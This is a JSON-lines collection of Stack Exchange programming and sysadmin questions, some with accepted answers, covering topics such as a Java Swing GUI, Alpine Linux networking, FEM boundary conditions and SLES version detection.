{  "id": "_codereview.159075"  , "question": "My first 'large' project is to create an organizational tool. Right now, it's pretty basic, but nevertheless functional in terms of the intent of the current release (v0.3.0).My main question is: 'Is what I'm doing procedurally correct/is this the way I should be designing my GUI?'. This is my first time doing any GUI design, and although I feel that the end-product is pretty good for a first attempt, I'm also hopeful that there is something I could/should be doing to either make my code more readable/debuggable or (I guess this is kind of the same thing, but) easier to change in the future.Secondary to that, is the way I'm handling the JList I'm using for the 'log'  the best way to do so? I'd eventually like to make a custom type of list that better handles the use of the LogItem objects that I'm using (in my mind called a LogList that accepts LogItems for a .add(LogItem logItem) method.package com.t99sdevelopment;// Created by Trevor Sears <trevorsears.main@gmail.com> @ 11:45AM - March 16th, 2017.import java.awt.*;import java.awt.event.MouseAdapter;import java.awt.event.MouseEvent;import javax.swing.*;public class Window extends JFrame implements Runnable{    public static LogListModel log = new LogListModel();    private static JFrame frame = new JFrame();        private static JMenuBar menuBar = new JMenuBar();        private static JMenu file_Menu = new JMenu(File);            private static JMenuItem open_File_MenuItem = new JMenuItem(Open...);            private static JMenuItem reset_File_MenuItem = new JMenuItem(Reset Log);            private static JMenuItem close_File_MenuItem = new JMenuItem(Close);        private static JMenu edit_Menu = new JMenu(Edit);            private static JMenuItem undo_Edit_MenuItem = new JMenuItem(Undo);            private static JMenuItem redo_Edit_MenuItem = new JMenuItem(Redo);        private static JMenu about_Menu = new JMenu(About);        private static JPanel panel = new JPanel(new GridBagLayout());            private static JLabel time_Label = new JLabel();            private static JButton submit_Button = new JButton();            private static JTextField event_TextField = new JTextField();            static JList log_List = new JList(log.toArray()); //not sure if this being public is the best solution to the problem...                private static JPopupMenu logCell_PopupMenu = new JPopupMenu();                    private static JMenuItem edit_logCell_MenuItem = new JMenuItem();                    private static JMenuItem delete_logCell_MenuItem = new JMenuItem();            private static JScrollPane scrollPane = new JScrollPane(log_List, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER);            private static JButton close_Button = new JButton();        private static JDialog edit_Dialog = new JDialog(frame);            private static JPanel edit_Dialog_Panel = new JPanel();                private static JTextField edit_Dialog_edit_TextField = new JTextField();                private static JPanel edit_Dialog_subpanel = new JPanel(new FlowLayout(FlowLayout.CENTER, 5, 0));                private static JButton edit_Dialog_submit_Button = new JButton();                private static JButton edit_Dialog_cancel_Button = new JButton();    private static EventLogListener eventLogActionListener = new EventLogListener();    private static LogEditorListener logEditorActionListener = new LogEditorListener();    private static ShutdownListener shutdownActionListener = new ShutdownListener(0);    private static GridBagConstraints constraints = new GridBagConstraints();    private static Dimension dimension = new Dimension(500, 200);    public static void showWindow() {        initializeWindow();        frame.setVisible(true);    }    private static void initializeWindow(){        initializeRightMousePopupMenu();        initializeLogItemEditDialog();        initializeMenuBar();        frame.setJMenuBar(menuBar);        initializePanel();        frame.add(panel);        frame.setTitle(organize);        frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);        frame.setMinimumSize(dimension);        frame.setResizable(false);        frame.pack();        frame.setLocationRelativeTo(null);        edit_Dialog.setLocationRelativeTo(null);    }    private static void initializePanel(){        // Time JLabel (time_Label) option setting...        time_Label.setHorizontalAlignment(JTextField.CENTER);        time_Label.setFont(new Font(Serif, Font.BOLD, 18));        constraints.gridx = 0;        constraints.gridy = 0;        constraints.gridwidth = 3;        constraints.gridheight = 1;        constraints.weightx = 0.5;        constraints.weighty = 0.05;        constraints.fill = GridBagConstraints.HORIZONTAL;        constraints.insets = new Insets(5,0,0,0);        panel.add(time_Label, constraints);        // Submit JButton (submit_Button) option setting...        submit_Button.setText(Submit);        submit_Button.addActionListener(eventLogActionListener);        constraints.gridx = 0;        constraints.gridy = 1;        constraints.gridwidth = 1;        constraints.gridheight = 1;        constraints.weightx = 0.05;        constraints.weighty = 0.1;        constraints.fill = GridBagConstraints.HORIZONTAL;        constraints.insets = new Insets(0,5,5,3);        panel.add(submit_Button, constraints);        // Event JTextField (event_TextField) option setting...        event_TextField.setColumns(50);        event_TextField.setEditable(true);        event_TextField.addActionListener(eventLogActionListener);        constraints.gridx = 1;        constraints.gridy = 1;        constraints.gridwidth = 2;        constraints.gridheight = 1;        constraints.weightx = 0.95;        constraints.weighty = 0.1;        constraints.fill = GridBagConstraints.HORIZONTAL;        constraints.insets = new Insets(0,3,5,5);        panel.add(event_TextField, constraints);        // Logs JTextArea (logs_TextArea) option setting...        log_List.setModel(log);        constraints.gridx = 0;        constraints.gridy = 2;        constraints.gridwidth = 3;        constraints.gridheight = 1;        constraints.weightx = 0.5;        constraints.weighty = 0.9;        constraints.ipady = 40;        constraints.fill = GridBagConstraints.BOTH;        constraints.insets = new Insets(0,5,0,5);        panel.add(scrollPane, constraints);        // Close JButton (close_Button) option setting...        close_Button.setText(Close);        close_Button.addActionListener(shutdownActionListener);        constraints.gridx = 2;        constraints.gridy = 3;        constraints.gridwidth = 1;        constraints.gridheight = 1;        constraints.weightx = 1;        constraints.weighty = 0.05;        constraints.ipady = 0;        constraints.fill = GridBagConstraints.NONE;        constraints.anchor = GridBagConstraints.LINE_END;        constraints.insets = new Insets(0,0,0,10);        panel.add(close_Button, constraints);    }    private static void initializeMenuBar(){        open_File_MenuItem.setToolTipText(This doesn't do anything right now!);        undo_Edit_MenuItem.setToolTipText(This doesn't do anything right now!);        redo_Edit_MenuItem.setToolTipText(This doesn't do anything right now!);        about_Menu.setToolTipText(This doesn't do anything right now!);        reset_File_MenuItem.addActionListener(n -> log.clear());        close_File_MenuItem.addActionListener(shutdownActionListener);        file_Menu.add(open_File_MenuItem);        file_Menu.addSeparator();        file_Menu.add(reset_File_MenuItem);        file_Menu.add(close_File_MenuItem);        edit_Menu.add(undo_Edit_MenuItem);        edit_Menu.add(redo_Edit_MenuItem);        menuBar.add(file_Menu);        menuBar.add(edit_Menu);        menuBar.add(about_Menu);    }    private static void initializeRightMousePopupMenu(){        log_List.addMouseListener(new MouseAdapter(){            public void mouseReleased(MouseEvent e){                if(SwingUtilities.isRightMouseButton(e)){                    log_List.setSelectedIndex(log_List.locationToIndex(e.getPoint()));                    edit_Dialog_edit_TextField.setText(log.getEvent(log_List.getSelectedIndex()));                    logCell_PopupMenu.show(e.getComponent(), e.getX(), e.getY());                }            }        });        edit_logCell_MenuItem.setText(Edit);        edit_logCell_MenuItem.addActionListener(e -> edit_Dialog.setVisible(true));        logCell_PopupMenu.add(edit_logCell_MenuItem);        delete_logCell_MenuItem.setText(Delete);        delete_logCell_MenuItem.addActionListener(e -> log.remove(log_List.getSelectedIndex()));        logCell_PopupMenu.add(delete_logCell_MenuItem);    }    private static void initializeLogItemEditDialog(){        edit_Dialog_Panel.setLayout(new BoxLayout(edit_Dialog_Panel, BoxLayout.Y_AXIS));        edit_Dialog_Panel.add(Box.createRigidArea(new Dimension(0, 5)));        // Edit JTextField (edit_Dialog_edit_TextField) option setting...        edit_Dialog_edit_TextField.setColumns(50);        edit_Dialog_edit_TextField.addActionListener(logEditorActionListener);        edit_Dialog_Panel.add(edit_Dialog_edit_TextField);        edit_Dialog_Panel.add(Box.createRigidArea(new Dimension(0, 5)));        edit_Dialog_subpanel.add(Box.createRigidArea(new Dimension(250, 0)));        // Submit JButton (edit_Dialog_submit_Button) option setting...        edit_Dialog_submit_Button.setText(OK);        edit_Dialog_submit_Button.addActionListener(logEditorActionListener);        edit_Dialog_subpanel.add(edit_Dialog_submit_Button);        // Cancel JButton (edit_Dialog_cancel_Button) option setting...        edit_Dialog_cancel_Button.setText(Cancel);        edit_Dialog_cancel_Button.addActionListener(e -> disposeEditDialog());        edit_Dialog_subpanel.setBackground(new Color(35, 100, 50, 1));        edit_Dialog_subpanel.add(edit_Dialog_cancel_Button);        edit_Dialog_Panel.add(edit_Dialog_subpanel);        edit_Dialog_Panel.setBorder(BorderFactory.createEmptyBorder(5, 5, 5, 5));        edit_Dialog.setModal(true);        edit_Dialog.setSize(new Dimension(500, 150));        edit_Dialog.setTitle(Edit);        edit_Dialog.add(edit_Dialog_Panel);        edit_Dialog.setDefaultCloseOperation(JDialog.DISPOSE_ON_CLOSE);        edit_Dialog.pack();    }    public static void appendNewEvent(String event){        log.addElement(new LogItem(event));        log_List.ensureIndexIsVisible(log_List.getModel().getSize() - 1);        event_TextField.setText();    }    public static String getEventLogText(){        return event_TextField.getText();    }    public static String getEditedDialogText(){        return edit_Dialog_edit_TextField.getText();    }    public static void disposeEditDialog(){        edit_Dialog.dispose();    }    public void run() {        while(true){            time_Label.setText(DateChanger.getTime());        }    }}The rest of the project can be found here. The link is more for the curious than anything - it includes pre-compiled binaries of a small handful of previous releases.EDIT: To help ease those of you that are cringing - I've implemented most, if not all of your suggested changes. See the above link if you're interested."  , "title": "Organizational Tool GUI with Java Swing (and GridBagLayout)"  , "tags": "java;linked list;swing;gui"  } 
{  "id": "_unix.284791"  , "question": "I keep getting an error when booting Alpine Linux Networking failed to start. I'm using a RPI3 which is connected by an ethernet cable to the box. Here's the /etc/network/interfaces :auto loiface lo inet loopbackauto eth0iface eth0 inet static    address 192.168.1.1    netmask 255.255.255.0    gateway 192.168.1.255when typing netstat -r I have :Destination   Gateway   Genmask         Flags MSS Window irtt Iface192.168.1.0    *        255.2555.255.0  U       0 0         0 eth0I turned it into dhcp and it worked. Any ideas as to the problem?"  , "title": "Networking failed to start on Alpine linux"  , "tags": "networking;raspberry pi;alpine linux"  , "accepted_answer": "Your gateway is wrong.With the subnet mask you are using, the gateway is not a valid ip address.Once you get the ip address via DHCP, run:route -n | grep 0.0.0.0 | head -1 | awk '{print $2}'And put that as gateway.Of course, the address entry should be different from the gateway.Hope it helps..: Francesco"  } 
{  "id": "_scicomp.25794"  , "question": "The following is related to a question a asked a few days back 1, but now I would like to focus on just one part of the problem.I have problems computing the integral over the reference element:$$ \\int_{0}^1 (f - \\Pi_h^1(f))^2 dx. $$I think I understood how to use the basis functions on the reference element and what the values of $f$ should be for the interpolant. The problem is with the first $f$ in the integrand. How can I map it? If the affine map is $x = x_j + \\gamma (x_{j+1} - x_j)$ I can substitute it into $f$ and obtain$$ f(x(\\gamma)) = cos(2 \\pi (x_j + \\gamma (x_{j+1} - x_j))). $$How can I continue? I was following these beautiful notes on page $49$ but that is very simple.Using Python to do this I ended up with this:def func_ref(z, x, a, b):    cos_a = np.cos(2*np.pi*x[a])    cos_b = np.cos(2*np.pi*x[b])    return np.power((cos_a - cos_a * (1 - z) + cos_b * z) * (x[b] - x[a]), 2)where x is simply the vector containing the nodes, a and b would be the left and right neighbor, z the variable of integration. The first term, $\\mathbf{cos_a}$ should be the first $f$ of the integrand but I do not know/understand how to do this. Thank you.Possible solution:Is it correct to write$$ \\int_{0}^1 (cos(2\\pi (x_i + \\gamma (x_{i+1} - x_i)) - cos(x_i)(1-\\gamma) + cos(x_{j+1})\\gamma)^2 (x_{i+1} - x_i) d \\gamma $$and integrate with respect to $\\gamma$?"  , "title": "Integral over reference element in $1$D FEM: how to map the quadrature points?"  , "tags": "finite element;python;integration"  } 
{  "id": "_unix.247756"  , "question": "I have a Raspberry Pi (with Raspbian Jessie) since yesterday and already installed some usefull tools - e.g. TightVNC. I configured it and it works fine, but now I want to stop my raspberry from booting into desktop mode. So if I connect over VNC I just want to see a shell window, like if I press Ctrl-Alt-F1 for example. Is there a way to configure my VNC to work like this? I already searched the web and didn't find something useful.. so please help me!"  , "title": "Raspberry Pi VNC to shell"  , "tags": "debian;vnc"  } 
{  "id": "_unix.37336"  , "question": "What patchlevel does this SLES machine has? 10.2 or 10.4?SERVER:~ # cat /etc/issueSUSE LINUX Enterprise Server 10.2Kernel \\r (\\m), \\lSERVER:~ # SERVER:~ # cat /etc/SuSE-release SUSE Linux Enterprise Server 10 (x86_64)VERSION = 10PATCHLEVEL = 4SERVER:~ # UPDATE: SERVER:/etc # rpm -V sles-releaseS.5....T  c /etc/issueS.5....T  c /etc/issue.netS.5....T  c /etc/motdSERVER:/etc # zypper sl# | Enabled | Refresh | Type | Name                                                | URI                                                                   --+---------+---------+------+-----------------------------------------------------+-----------------------------------------------------------------------1 | No      | No      | YaST | SUSE Linux Enterprise Server 10 SP2                 | cd:///?devices=/dev/hda                                               2 | Yes     | Yes     | YaST | SUSE Linux Enterprise Server 10 SP2-20110317-171027 | nfs://123.123.123.123/usr/sys/inst.images/Linux/SuSE/SLES10_x86_64/10.2SERVER:/etc # uname -r2.6.16.60-0.91.1-smpUPDATE #2: SERVER:/etc # cat /etc/issue.rpmnewWelcome to SUSE Linux Enterprise Server 10 SP4  (x86_64) - Kernel \\r (\\l).UPDATE #3SERVER:/etc # SERVER:~ # rpm -qi glibcName        : glibc                        Relocations: (not relocatable)Version     : 2.4                               Vendor: SUSE LINUX Products GmbH, Nuernberg, GermanyRelease     : 31.95.1                       Build Date: Mon Sep 19 16:43:25 2011Install Date: Sun Mar 18 08:01:27 2012      Build Host: macintyreGroup       : System/Libraries              Source RPM: glibc-2.4-31.95.1.src.rpmSize        : 5141247                          License: BSD 3-Clause; GPL v2 or later; LGPL v2.1 or laterSignature   : DSA/SHA1, Mon Sep 19 16:45:00 2011, Key ID a84edae89c800acaPackager    : http://bugs.opensuse.orgURL         : http://www.gnu.org/software/libc/libc.htmlSummary     : Standard Shared Libraries (from the GNU C Library)Description :The GNU C Library provides the most important standard libraries usedby nearly all programs: the standard C library, the standard mathlibrary, and the POSIX thread library.  A system is not functionalwithout these libraries.Distribution: SUSE Linux Enterprise 10SERVER:~ # "  , "title": "How to detect SLES version?"  , "tags": "sles"  , "accepted_answer": "Most probably you have got a SLES10 SP4.Do a rpm -V sles-release - if /etc/SuSE-relase does not show 5 (i.e. changed md5-checksum) the file content is original.If you update your question with your exact kernel version (uname -r) I can even tell you more.You can also check which repositories are active on that system: zypper slUpdate on uname/zypper results:Here is a list of SLES-kernels and their release dates. This shows your kernel to be a SLES10 SP4 released on 2011-10-28. There is a more recent SP4 kernel from 2012-01-23.Your output from zypper sl puzzles me. I can not see how your system got to SLES10 SP4 - there are only SLES10 SP2 repositories shown. I think it is worth to look into this a bit deeper... (see my current comment to your question)"  } 
{  "id": "_codereview.164364"  , "question": "I'm currently working on a text adventure game for my first project. I am a beginner so I am seeking help with my code. Please comment any tips and general help regarding with making my code better, faster or more organised! I only started Python two weeks ago so any help would be greatly appreciated. I decided to only submit the code for the first room as I don't want to submit too much code at once.health = 100coins = 0tutorial = TruegameStart = Falsedeath  = Falsespawn = TruelivingRoom = FalseBathroom = FalseBedroom = FalseKitchen = FalsewardrobeSpawn = FalsespawnStart = Truetelev = Falsedef countCoins():    print    print(You have:  + str(coins) +  coins)while gameStart == True:    if spawn == True:        if spawnStart == True:            print            print(bcolors.FAIL + You wake up in a room you don't recognise, with no idea how you got there)            print            print(bcolors.ENDC + You look around and see a wardrobe and a door)            spawnStart = False        elif spawnStart == False:            print            spawnIn = raw_input()            spawnIn = spawnIn.lower()            if spawnIn == coins:                countCoins()                spawnStart = False            elif spawnIn == wardrobe:                if wardrobeSpawn == False:                    print                    print The wardrobe seems quite empty, but you do find a coin in the far left corner, you put it in your pocket                    print                    coins += 1                    wardrobeSpawn = True                    spawnStart = False                elif wardrobeSpawn == True:                    print This wardrobe looks oddly familiar, you have already explored it                    print                    spawnStart = False            elif spawnIn == door:                print                print (You walk out the door)                print                spawn = False                livingRoom = True            elif spawnIn == look:                print(You look around and see a wardrobe and a door)                print                spawnStart = False            else:                print(That is an unvalid command. Try again)                print                spawnStart = False"  , "title": "Text Adventure Game in Python"  , "tags": "python;python 3.x;adventure game"  } 
{  "id": "_cs.32579"  , "question": "In computation theory, when talking about the computability and complexity of aproblem, what is the definition of a problem? How specific should a problem be? For example, can the followingsall be function evaluation problems?evaluate $f$, where $f(x)=x^2, x \\in \\mathbb R$evaluate any function in $\\mathbb R^{\\mathbb R}$.evaluate any function in $Y^X$, where $X$ and $Y$ are any two sets.Without restriction to the computability and complexity of a problem (oreven without restriction to computation theory), how is a problem defined? Can the above examples in 1 all  be  function evaluation problems?Thanks."  , "title": "What is the definition of a problem"  , "tags": "complexity theory;terminology;computability"  } 
{  "id": "_cstheory.38258"  , "question": "Given two trees A and B, each of their nodes except some leaves have a type (which also determines the number of children, the node has, having that type). The leaves which don't have a type are identified by letters (variables) (a,b,c,...). Each letter may occur multiple times in a tree. The task is to devise an algorithm to 'solve' the 'equation' A=B, i.e. assign trees to the variables (possibly containing other variables). One tree (x) equals to an other (y) iff x and y are the same variables or the root of both have the same type and their respective children are equal.In the following the types are numbers.Example 1:A tree is1|-2|-aB tree is1|-2|-3The solution is a->3Example 2:A tree is1|-2|-aB tree is1|-3|-3This does not have a solution.Example 3:A tree is1|-2|-aB tree is1|-2|-bThe solution is a=b (the equation is underdetermined so to say)"  , "title": "Solving a tree-equation?"  , "tags": "graph algorithms;term rewriting systems"  , "accepted_answer": "The process you seem to be looking for (merging two descriptions of labeled trees) is called unification. According to the linked Wikipedia article it can be solved in linear time."  } 
{  "id": "_unix.223402"  , "question": "For easily specifying remote files for editing with vim or emacs from the shell, I would like to have tab-completion like available for scp.Completions for scp work well and fast, if your.ssh/config iscorrectlyconfigured.So why not for vim, and other ssh-capable editors? I feel, the standard bash-completion package could benefit from a completion function set for ssh-capable editors, which AFAIK does not yet exist publicly.(In environments, where afuse and sshfs are available to me, I use as work-around a user-level afuse sshfs auto-mounter daemon spawned from shell init to on-demand background mount remote file-systems into a tree under ~/scp/.) "  , "title": "Bash command-line completion function for vim and emacs 'scp://' remote file paths"  , "tags": "bash;vim;emacs;autocomplete;bashrc"  } 
{  "id": "_softwareengineering.328041"  , "question": "I am slowly creating a simple programming language (a bit like Lua).The interpreter has 2 important methods, exec and evaluate.exec reads the tokens 1 by 1 and does stuff as it says like creating new variables, etc.evaluate basically interprets a bit differently.It understands ==, new numbers (5.3), +-*/^% and new strings with .It also understands variables and takes their value to be used.In the end of evaluate, it returns one value for exec to use.A ginormous design hole in this interpreter is the fact that you cannot create new strings in exec without creating a variable.  Meaning:string a = some string;a.someStringMethod();Works, but this:some string.someStringMethod();does not.This also means multidimensional arrays do not work, although I plan to use . instead of [ and ].If you still do not understand how the interpreter right now here is the GitHub page on it:https://github.com/lvivtotoro/mau/blob/master/Mau/src/org/midnightas/mau/Mau.java#L56So the overall question is: How would I merge these 2 methods?"  , "title": "Slowly creating programming language; How to join these 2 methods?"  , "tags": "java;language design"  } 
{  "id": "_softwareengineering.75648"  , "question": "In my brief time as a professional programmer I've seen lots of applications written by programmers who's entire education appears to have been reading the first couple of chapters in a .NET 2.0 book.Heck when I started I wrote most of those applications!What are the biggest design patterns crucial for writing AWESOME .NET applications?By awesome I mean on the inside too!"  , "title": "What are the main practices and design patterns every .NET guy should know?"  , "tags": "c#;.net;design patterns"  , "accepted_answer": "First: Know your basic tools wellKnow the ASP.Net event model. You'll get in a mess if you don't.Understand the mechanics of OO. A surprising number of relatively experienced .Net programmers still seem to think it is 1972.Start reading Code Complete.Second: Learn to separate concernsThe most common design-crime I see in ASP.Net development is to stuff all the business logic in the code-behind. I know that all the Microsoft examples do it that way. I know it is justified on small apps. And I know I sometimes do it that way. But really, it is bad design, and is my pet hate for the week.Third: Learn everything else about designMost of the poor quality .Net code that I see is the result of poor OO design. Therefore, I'd recommend a good understanding of:SOLID principlesGoF Design PatternsMVC (for ASP.Net MVC)Fourth: Get to know more toolsYou know how Microsoft make things easy by providing lots of out-of-the-box tools? Well, you're going to hit their limitations sooner or later. When you do, you're either going to have to bend them to your will or roll your own. Either way, you're going to have to get-down-dirty with some CSS and Javascript.FinallyOnce you've done that lot, you're well on your way to awesome.[Edit: Fixed-up the sequence for learning this sutff. Apparenty I couldn't count yesterday...]"  } 
{  "id": "_datascience.19326"  , "question": "Bayesian Network deals with probabilities, so how does one use it for predicting an quantitative result ? There are couple of research papers that I came across that uses Tree Augmented Naive Bayes, but couldnt understand how its functions to forecast a quantitative outcome variable. "  , "title": "How would you use Bayesian Network for forecasting?"  , "tags": "predictive modeling;regression;bayesian networks"  } 
{  "id": "_cs.11479"  , "question": "I am attempting to prove the following problem is undecidable. Given a Turing machine $M$ and input $x$, does $M$ visit infinitely many tape cells on input $x$? I am considering a reduction from the halting problem. Is this the right approach? "  , "title": "Show the problem of a machine visiting infinitely many tape cells on some input is undecidable"  , "tags": "computability;turing machines;reductions;undecidability;halting problem"  } 
{  "id": "_scicomp.20515"  , "question": "I am wondering how Dirichlet boundary conditions in global sparse finite element matrices are actually implemented efficiently. For example lets say that our global finite element matrix was:$$K = \\begin{bmatrix}    5  & 2 & 0 & -1 & 0 \\\\    2  & 4 & 1 & 0 & 0 \\\\    0  & 1 & 6 & 3 & 2 \\\\    -1  & 0 & 3 & 7 & 0 \\\\    0  & 0 & 2 & 0 & 3\\end{bmatrix}\\hspace{5mm}\\text{and right-hand side vector}\\hspace{5mm} b = \\begin{bmatrix}  b1 \\\\  b2 \\\\  b3 \\\\  b4 \\\\  b5 \\\\\\end{bmatrix}$$Then to apply a Dirichlet condition on the first node ($x_{1}=c$) we would zero out the first row, put a 1 at $K_{11}$, and subtract the first column from the right-hand side. For example our system would become:$$K = \\begin{bmatrix}    1  & 0 & 0 & 0 & 0 \\\\    0  & 4 & 1 & 0 & 0 \\\\    0  & 1 & 6 & 3 & 2 \\\\    0  & 0 & 3 & 7 & 0 \\\\    0  & 0 & 2 & 0 & 3\\end{bmatrix}\\hspace{5mm}\\text{and right-hand side vector}\\hspace{5mm} b = \\begin{bmatrix}  c \\\\  b2-2\\times{c} \\\\  b3-0\\times{c} \\\\  b4+1\\times{c} \\\\  b5-0\\times{c} \\\\\\end{bmatrix}$$This is all well and good in theory, but if our K matrix is stored in compressed row format (CRS) then moving the columns to the right-hand side becomes expensive for large systems (with many nodes being dirichlet). An alternative would be to not move the columns corresponding to a Dirichlet condition to the right-hand side, i.e. our system would become:$$K = \\begin{bmatrix}    1  & 0 & 0 & 0 & 0 \\\\    2  & 4 & 1 & 0 & 0 \\\\    0  & 1 & 6 & 3 & 2 \\\\    -1  & 0 & 3 & 7 & 0 \\\\    0  & 0 & 2 & 0 & 3\\end{bmatrix}\\hspace{5mm}\\text{and right-hand side vector}\\hspace{5mm} b = \\begin{bmatrix}  c \\\\  b2 \\\\  b3 \\\\  b4 \\\\  b5 \\\\\\end{bmatrix}$$This however has a major draw back in that the system is no longer symmetric and so we could no longer use preconditioned conjugate gradient (or other symmetric solvers). One interesting solution that I came across is the Method of Large Numbers which I found in the book Programming Finite Elements in Java by Gennadiy Nikishkov. This method uses the fact that double precision only contains around 16 digits of accuracy. Instead of putting a 1 in the $K_{11}$ position we place a large number. For example our system becomes:$$K = \\begin{bmatrix}    1.0e64  & 2 & 0 & -1 & 0 \\\\    2  & 4 & 1 & 0 & 0 \\\\    0  & 1 & 6 & 3 & 2 \\\\    -1  & 0 & 3 & 7 & 0 \\\\    0  & 0 & 2 & 0 & 3\\end{bmatrix}\\hspace{5mm}\\text{and right-hand side vector}\\hspace{5mm} b = \\begin{bmatrix}  c\\times{1.0e64} \\\\  b2 \\\\  b3 \\\\  b4 \\\\  b5 \\\\\\end{bmatrix}$$The advantages of this method are that it maintains the symmetry of the matrix while also being very efficient for sparse storage formats. My questions then are as follows:How are Dirichlet boundary conditions typically implemented in finite element codes for heat/fluids? Do people use the method of large numbers usually or do they do something else? Is there any disadvantage to the method of large numbers that someone can see? I am assuming that there is probably some standard efficient method used in most commercial and non-commercial codes that solves this problem (obviously I not expecting people to know all the inner workings of every commercial finite element solver, but this problem seems basic/fundamental enough that someone likely has worked on such projects and could provide guidance). "  , "title": "How to efficiently implement Dirichlet boundary conditions in global sparse finite element stiffnes matrices"  , "tags": "finite element;sparse;boundary conditions"  , "accepted_answer": "In deal.II (http://www.dealii.org -- disclaimer: I'm one of the principal authors of that library), we do eliminate whole rows and columns, and it is not too expensive overall. The trick is to use the fact that the sparsity pattern is typically symmetric, so you know which rows you need to look into when eliminating a whole column.The better approach, in my view, is to eliminate these rows and columns in the cell matrices, before they are added to the global matrix. There you work with full matrices, so everything is efficient.I have never heard of the large-numbers approach and would not use it because surely it will lead to terribly ill-conditioned problems.For reference, the algorithms we use in deal.II are described conceptually in lectures 21.6 and 21.65 at http://www.math.tamu.edu/~bangerth/videos.html . They closely match your description."  } 
{  "id": "_unix.175869"  , "question": "I have installed kali linux in virtual box with a windows host, and when I try to update kali it completes 5-10 packages and aborts saying connection failed. I have a slow connection and want to get a manual update and to know how to install it manually."  , "title": "How to update kali without internet connection manually?"  , "tags": "upgrade;kali linux"  } 
{  "id": "_webapps.25365"  , "question": "I click Hide all by CityVille on my smart list and it seems to work. The stories disappear the message below appears:Stories hidden. UndoStories from CityVille won't appear in your News Feed anymore. However, when I reload the list, I still see these stories. I also don't think this is an eventual consistency matter since I've been trying to hide the stories for days.Is CityVille getting some sort of special treatment from Facebook? Are they hacking their way in my lists in spite of Facebook (very very unlikely)? Is there any way to get rid of them?"  , "title": "How do I hide CityVille stories in smart lists for real?"  , "tags": "facebook;spam prevention"  } 
{  "id": "_unix.301702"  , "question": "I was trying to use a tool a tool written in java called fastqc (for people who are interested in what is fastqc. when I tried typing the command : fastqc I got the error: Exception in thread main java.lang.NoClassDefFoundError: uk/ac/babraham/FastQC/FastQCApplicationCaused by: java.lang.ClassNotFoundException: uk.ac.babraham.FastQC.FastQCApplication    at java.net.URLClassLoader$1.run(URLClassLoader.java:217)    at java.security.AccessController.doPrivileged(Native Method)    at java.net.URLClassLoader.findClass(URLClassLoader.java:205)    at java.lang.ClassLoader.loadClass(ClassLoader.java:323)    at sun.misc.Launcher$AppClassLoader.loadClass(Launcher.java:294)    at java.lang.ClassLoader.loadClass(ClassLoader.java:268)when someone had similar previously,some one suggested that in similar case, I need to set the class path to the directory which contains FastQC installation: and depending on having a standard class path or non-standard classpath on my machine, I need to append existing classpath like: java -Xmx250m -classpath /usr/local/FastQC uk.ac.bbsrc.babraham.FastQC.FastQCApplicationor java -Xmx250m -classpath /usr/local/FastQC:$CLASSPATH uk.ac.bbsrc.babraham.FastQC.FastQCApplicationSince my directory which contains the FastQC is /u32/myusername/Tool/FastQCso I tried both: java -Xmx250m -classpath /u32/myusername/Tool/FastQC uk.ac.bbsrc.babraham.FastQC.FastQCApplicationand java -Xmx250m -classpath /u32/myusername/Tool/FastQC:$CLASSPATH uk.ac.bbsrc.babraham.FastQC.FastQCApplicationbut none of them seemed to work. Did I mess something up?  I am not sure about what -Xmx250m means, with or without it, the path setting did not work. Sorry for my ignorance. Any idea or suggestion appreciated. "  , "title": "Setting classpath in Java"  , "tags": "java"  } 
{  "id": "_unix.355208"  , "question": "Starting from a base script like:  import webbrowserurl = 'http://www.google.com'webbrowser.open_new_tab(url) (How can I call the print function to be opened in another terminal?)What happened? I simply opened google.com but now, I would like to get in the same code the possibility to print out the pages opened in the browser as a normal browsing activity would going on. I explain better myself script.py I get google.com --- at the same time would be great opening a terminal and printing the URL, and even opening a new tab in terminal would happen : tab0: google.com tab1---yahoo.com, I close tab0 and prints--tab0 closed.Reference:Urllib2?? something helphttps://askubuntu.com/questions/338294/output-url-of-open-firefox-tabs-in-terminal"  , "title": "Output URL of open tabs in python 3.6.1 (windows)"  , "tags": "bash;python;firefox;chrome;python3"  } 
{  "id": "_unix.286403"  , "question": "I've enabled svm and iommu in the bios, but I get not available from dmesg:root@xen:~# dmesg |grep -i iommu[    0.000000] Command line: placeholder root=UUID=0b6a99ef-b56b-4d71-9f63-4895d0276674 ro nouveau.blacklist=1 amd_iommu=on iommu=pt iommu=soft iommu=1 pci-stub=10de:1401,10de:0fba[    0.000000] Kernel command line: placeholder root=UUID=0b6a99ef-b56b-4d71-9f63-4895d0276674 ro nouveau.blacklist=1 amd_iommu=on iommu=pt iommu=soft iommu=1 pci-stub=10de:1401,10de:0fba[    5.177737] AMD IOMMUv2 driver by Joerg Roedel <jroedel@suse.de>[    5.177744] AMD IOMMUv2 functionality not available on this systembios settings (sorry for blurriness):system info:root@xen:~# uname -aLinux xen 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linuxroot@xen:~# cat /etc/lsb-release DISTRIB_ID=UbuntuDISTRIB_RELEASE=16.04DISTRIB_CODENAME=xenialDISTRIB_DESCRIPTION=Ubuntu 16.04 LTSroot@xen:~# dmidecode |grep -i product    Product Name: To be filled by O.E.M.    Product Name: 990FXA-UD5 R5root@xen:~# grep Processor /proc/cpuinfo |tail -1model name  : AMD FX(tm)-8300 Eight-Core Processorroot@xen:~# grep iommu /etc/default/grub GRUB_CMDLINE_LINUX_DEFAULT=nouveau.blacklist=1 amd_iommu=on iommu=pt iommu=soft iommu=1 pci-stub=10de:1401,10de:0fbaDo I need to update the motherboard bios? It's currently at F3; if possible, I'd like to avoid it because it might brick the motherboard."  , "title": "How to enable IOMMU on Gigabyte 990FXA-UD5 R5"  , "tags": "linux;virtual machine;bios"  } 
{  "id": "_unix.253026"  , "question": "I have 168307 jpg photos in one folder - result of a recovery from an accidentally formatted hard drive. Casual browsing shows that 80% of files have been recovered ok, most even have valid EXIF data (incl. timestamp), some are partially recovered (a part of image missing but still usable), some are totally useless (most image wasn't recovered). All of the files have random numeric names and all have same date & time in the file system. As such they are unusable. What I want to do is:create a set of thumbnails to browse manually through them and fairly quickly remove files that are useless,using the preserved EXIF tags to automatically sort remaining images into a neat tree of folders (year/month/day/pics like structure - or a set of folders with YYYY-MM-DD as file name). What tools would you recommend for such a task? Should I try something like digikam for the first part and some command line tools for the second?"  , "title": "Sort & organize a huge heap of photos"  , "tags": "images"  } 
